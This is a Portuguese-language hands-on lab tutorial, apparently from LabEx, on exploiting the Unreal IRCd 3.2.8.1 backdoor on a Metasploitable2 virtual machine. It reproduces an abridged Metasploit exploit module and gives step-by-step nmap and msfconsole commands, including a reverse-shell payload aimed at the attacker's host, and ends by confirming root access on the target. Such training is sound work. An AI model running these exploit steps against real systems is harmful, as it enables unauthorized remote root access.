Explorar a vulnerabilidade do Unreal IRCd com Nmap e Metasploit

CibersegurançaBeginner
Pratique Agora

Introdução

Neste laboratório, aprenderemos como explorar o serviço Unreal IRCd na máquina alvo Metasploitable2, hospedada na plataforma LabEx. Começaremos compreendendo a vulnerabilidade no serviço Unreal IRCd e, em seguida, realizaremos uma varredura de vulnerabilidades usando o Nmap. Após identificar o serviço vulnerável, utilizaremos o framework Metasploit para explorar a falha e obter um shell remoto na máquina alvo. Por fim, validaremos o sucesso da exploração executando comandos no sistema comprometido.

Compreender a vulnerabilidade do Unreal IRCd e iniciar o ambiente de experimento

A versão 3.2.8.1 do Unreal IRCd contém uma vulnerabilidade de backdoor (CVE-2010-2075) que permite a atacantes remotos executar código arbitrário no sistema afetado. A vulnerabilidade reside na macro DEBUG3_DOLOG_SYSTEM, que inclui código malicioso externo que pode ser aproveitado por um atacante.

Informações relevantes:

O módulo do Metasploit para explorar esta vulnerabilidade:

Aqui está uma breve visão geral do módulo do Metasploit:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Agora, você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.

  1. Abra um terminal xfce na máquina host do LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2

Aguarde a inicialização da máquina alvo; isso pode levar de 1 a 3 minutos.

  1. Teste a conectividade com a máquina alvo fazendo um ping:
ping 192.168.122.102

Pressione Ctrl+C para interromper o ping.

  1. Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102

Pressione Ctrl+C para interromper o ping.

Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.

Nota: Se você sair acidentalmente do bash atual, o container Kali será interrompido automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.

Realizar a varredura de vulnerabilidades

Nesta etapa, realizaremos uma varredura de vulnerabilidades na máquina alvo para identificar portas abertas e serviços em execução nessas portas. Usaremos a poderosa ferramenta Nmap (Network Mapper) para esse propósito.

  1. Inicie o console do Metasploit no container Kali Linux:
cd ~
msfconsole
  1. Dentro do console do Metasploit, use o comando nmap para escanear a máquina alvo:
nmap -sV -T4 192.168.122.102

A opção -sV habilita a detecção de versão para as portas abertas, e -T4 define a política de tempo para um nível agressivo (1-5, sendo que valores mais altos são mais rápidos).

A saída deve mostrar a porta 6667 aberta, executando o serviço unreal ircd.

Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção

Explorar a vulnerabilidade do Unreal IRCd

Agora que identificamos o serviço Unreal IRCd vulnerável rodando na porta 6667, podemos prosseguir com a exploração usando o framework Metasploit.

  1. Primeiramente, se você não estiver no console do Metasploit, inicie-o:
cd ~
msfconsole
  1. No console do Metasploit, pesquise pelo módulo unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Carregue o módulo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Defina o host alvo:
set RHOST 192.168.122.102
  1. Defina um payload de reverse shell para o módulo:
set PAYLOAD cmd/unix/reverse
  1. Defina o endereço IP do host Kali que receberá o reverse shell:
set LHOST 192.168.122.1
  1. Execute o exploit:
exploit

Se o exploit for bem-sucedido, você obterá um shell remoto na máquina alvo. Se o Metasploit informar que uma sessão de shell de comando foi aberta, você pode continuar com os comandos de validação no shell.

Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção

Validar a exploração

Para validar se a exploração foi bem-sucedida, podemos executar comandos no shell remoto obtido na etapa anterior.

  1. Primeiramente, se você não estiver no console do Metasploit, inicie-o:
cd ~
msfconsole
  1. Verifique o usuário atual com o comando whoami:
whoami
  1. Verifique o nome do host com o comando hostname:
hostname
  1. Verifique o endereço IP com o comando ifconfig:
ifconfig

Se a saída mostrar root como o usuário atual, metasploitable como o nome do host e o endereço IP corresponder à máquina alvo (192.168.122.102), isso confirma que a exploração foi bem-sucedida e que você obteve controle total sobre o sistema alvo.

Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção

Resumo

Neste laboratório, aprendemos sobre a vulnerabilidade do Unreal IRCd e como explorá-la usando o framework Metasploit. Começamos entendendo a vulnerabilidade e seu impacto, depois realizamos uma varredura de vulnerabilidades para identificar o serviço vulnerável. Após encontrar o serviço Unreal IRCd rodando na porta 6667, usamos o módulo apropriado do Metasploit para explorar a falha e obter acesso remoto à máquina alvo. Por fim, validamos o sucesso da exploração executando comandos no sistema comprometido. Este laboratório proporcionou experiência prática em análise de vulnerabilidades, técnicas de exploração e validação pós-exploração, habilidades essenciais para hackers éticos e profissionais de cibersegurança.